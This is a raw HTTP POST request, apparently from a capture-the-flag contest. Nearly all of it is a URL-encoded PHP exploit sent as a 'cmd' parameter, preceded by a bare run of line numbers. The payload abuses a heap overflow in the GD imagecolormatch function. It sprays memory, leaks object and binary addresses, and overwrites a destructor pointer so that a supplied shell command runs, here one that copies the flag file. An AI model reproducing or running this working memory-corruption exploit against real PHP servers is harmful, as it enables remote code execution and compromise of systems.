1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224
| POST /index.php?f=0x56046daec5cf&c=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAcp+/flag+/home/ctf/scripts/flag.php HTTP/1.1 Host: 127.0.0.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:140.0) Gecko/20100101 Firefox/140.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 5397 Origin: http://s1.r3.ret.sh.cn:30739 Connection: close Referer: http://s1.r3.ret.sh.cn:30739/index.php Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: none Sec-Fetch-User: ?1 Priority: u=0, i DNT: 1
cmd=define('OFFSET_STR_VAL',+0x18)%3b define('BYTES_PER_COLOR',+0x28)%3b
class+Nenuphar+extends+DOMNode { ++++function+__construct() ++++{ ++++++++$this->x+%3d+'1'%3b ++++}
++++function+__get($x) ++++{ ++++++++return+$this->$x%3b ++++} }
class+Nenuphar2+extends+DOMNode { ++++function+__construct() ++++{ ++++++++$this->x+%3d+'2'%3b ++++}
++++function+__get($x) ++++{ ++++++++return+$this->$x%3b ++++} }
function+ptr2str($ptr,+$m%3d8) { ++++$out+%3d+""%3b ++++for+($i%3d0%3b+$i<$m%3b+$i%2b%2b) ++++{ ++++++++$out+.%3d+chr($ptr+%26+0xff)%3b ++++++++$ptr+>>%3d+8%3b ++++} ++++return+$out%3b }
function+str2ptr(%26$str,+$p,+$s%3d8) { ++++$address+%3d+0%3b ++++for($j%3d$p%2b$s-1%3b$j>%3d$p%3b$j--) ++++{ ++++++++$address+<<%3d+8%3b ++++++++$address+|%3d+ord($str[$j])%3b ++++} ++++return+$address%3b }
for($i%3d0%3b$i<100%3b$i%2b%2b) ++++${'spray'.$i}+%3d+str_repeat(chr($i),+2+*+BYTES_PER_COLOR+-+OFFSET_STR_VAL)%3b for($i%3d0%3b$i<100%3b$i%2b%2b) ++++${'sprayx'.$i}+%3d+str_repeat(chr($i),+12+*+BYTES_PER_COLOR+-+OFFSET_STR_VAL)%3b
$nb_colors+%3d+12%3b $size_buf+%3d+$nb_colors+*+BYTES_PER_COLOR%3b
$img1+%3d+imagecreatetruecolor(1,+1)%3b
$color+%3d+imagecolorallocate($img1,+0xFF,+0,+0)%3b imagefill($img1,+0,+0,+$color)%3b
$img2+%3d+imagecreate(1,+1)%3b
for($i%3d0%3b$i<$nb_colors%3b$i%2b%2b) ++++imagecolorallocate($img2,+0,+0,+$i)%3b
imagesetpixel($img2,+0,+0,+$nb_colors+%2b+1)%3b
$z+%3d+str_repeat('Z',+$size_buf+-+OFFSET_STR_VAL)%3b $x+%3d+str_repeat('X',+$size_buf+-+OFFSET_STR_VAL)%3b $y+%3d+str_repeat('Y',+$size_buf+-+OFFSET_STR_VAL)%3b
unset($z)%3b imagecolormatch($img1,+$img2)%3b
unset($y)%3b
$z_address+%3d+str2ptr($x,+488)+%2b+OFFSET_STR_VAL%3b //$z_address+%3d+0x7770086a7a18%3b
$y+%3d+str_repeat('Y',+$size_buf+-+OFFSET_STR_VAL+-+8)%3b
$z+%3d ++++%23+refcount ++++ptr2str(1)+. ++++%23+u-nTableMask+meth ++++ptr2str(0)+. ++++%23+Bucket+arData ++++ptr2str($z_address+%2b+0x38)+. ++++%23+uint32_t+nNumUsed%3b ++++ptr2str(1,+4)+. ++++%23+uint32_t+nNumOfElements%3b ++++ptr2str(1,+4)+. ++++%23+uint32_t+nTableSize ++++ptr2str(0,+4)+. ++++%23+uint32_t+nInternalPointer ++++ptr2str(0,+4)+. ++++%23+zend_long+nNextFreeElement ++++ptr2str(0x4242424242424242)+. ++++%23+dtor_func_t+pDestructor ++++ptr2str(hexdec($_REQUEST['f']))+. ++++str_pad($_REQUEST['c'],+0x100,+"\x00")+. ++++ptr2str(0,+strlen($y)+-+0x38+-+0x100)%3b
print('z.val%3a+0x'+.+dechex($z_address)+.+"\n")%3b
${'spray'.(500)}+%3d+str_repeat(chr($i),+2+*+BYTES_PER_COLOR+-+OFFSET_STR_VAL)%3b ${'spray'.(501)}+%3d+str_repeat(chr($i),+2+*+BYTES_PER_COLOR+-+OFFSET_STR_VAL)%3b
$nb_colors+%3d+2%3b $size_buf+%3d+$nb_colors+*+BYTES_PER_COLOR%3b
$img1+%3d+imagecreatetruecolor(1,+1)%3b
$color+%3d+imagecolorallocate($img1,+0,+0xFF,+0)%3b imagefill($img1,+0,+0,+$color)%3b
$img2+%3d+imagecreate(1,+1)%3b for($i%3d0%3b$i<$nb_colors%3b$i%2b%2b) ++++imagecolorallocate($img2,+0,+0,+$i)%3b
$y+%3d+str_repeat('Y',+$size_buf+-+OFFSET_STR_VAL+-+8)%3b $x+%3d+str_repeat('X',+$size_buf+-+OFFSET_STR_VAL+-+8)%3b $nenuphar+%3d+new+Nenuphar()%3b $nenuphar2+%3d+new+Nenuphar2()%3b
imagesetpixel($img2,+0,+0,+$nb_colors)%3b
unset($y)%3b
imagecolormatch($img1,+$img2)%3b
$ce1_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x28)%3b $handlers1_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x30)%3b $pie+%3d+$handlers1_address+-+0x1806380%3b $ce2_address+%3d+str2ptr($x,+0x100)%3b $props_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x38)%3b
print('x%3a+'+.+$x)%3b print('Nenuphar.ce%3a+0x'+.+dechex($ce1_address)+.+"\n")%3b print('Nenuphar.handlers%3a+0x'+.+dechex($handlers1_address)+.+"\n")%3b print('pie%3a+0x'+.+dechex($pie)+.+"\n")%3b print('Nenuphar2.ce%3a+0x'+.+dechex($ce2_address)+.+"\n")%3b print('Nenuphar.properties%3a+0x'+.+dechex($props_address)+.+"\n")%3b print('z.val%3a+0x'+.+dechex($z_address)+.+"\n")%3b print('Difference%3a+0x'+.+dechex($z_address-$props_address)+.+"\n")%3b
if( ++++$ce2_address+-+$ce1_address+<+($z_address-$props_address)+/+0xff+|| ++++$z_address+-+$props_address+<+0 ) { ++++print('That+won\'t+work')%3b ++++exit(0)%3b }
$color+%3d+imagecolorallocate($img1,+0,+0xFF,+0)%3b imagefill($img1,+0,+0,+$color)%3b imagesetpixel($img2,+0,+0,+$nb_colors+%2b+3)%3b
for($current%3d$props_address%2b0xFF%3b$current<%3d$z_address%3b$current%2b%3d0xFF) { ++++imagecolormatch($img1,+$img2)%3b ++++$ce1_address%2b%2b%3b }
$color+%3d+imagecolorallocate($img1,+0,+$z_address-$current%2b0xff,+0)%3b imagefill($img1,+0,+0,+$color)%3b $current+%3d+imagecolormatch($img1,+$img2)%3b $ce1_address%2b%2b%3b
$color+%3d+imagecolorallocate($img1,+0,+0,+0)%3b imagefill($img1,+0,+0,+$color)%3b
while($ce1_address%2b%2b+<+$ce2_address) { ++++imagecolormatch($img1,+$img2)%3b }
$new_ce1_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x28)%3b $new_props_address+%3d+str2ptr($x,+$size_buf+-+OFFSET_STR_VAL+%2b+0x38)%3b
if($new_ce1_address+%3d%3d+$ce2_address+%26%26+$new_props_address+%3d%3d+$z_address) { ++++print("\nExploit+SUCCESSFUL+!\n")%3b } else { ++++print('NEW+Nenuphar.ce%3a+0x'+.+dechex($new_ce1_address)+.+"\n")%3b ++++print('NEW+Nenuphar.std.properties%3a+0x'+.+dechex($new_props_address)+.+"\n")%3b ++++print("\nExploit+FAILED+!\n")%3b }
|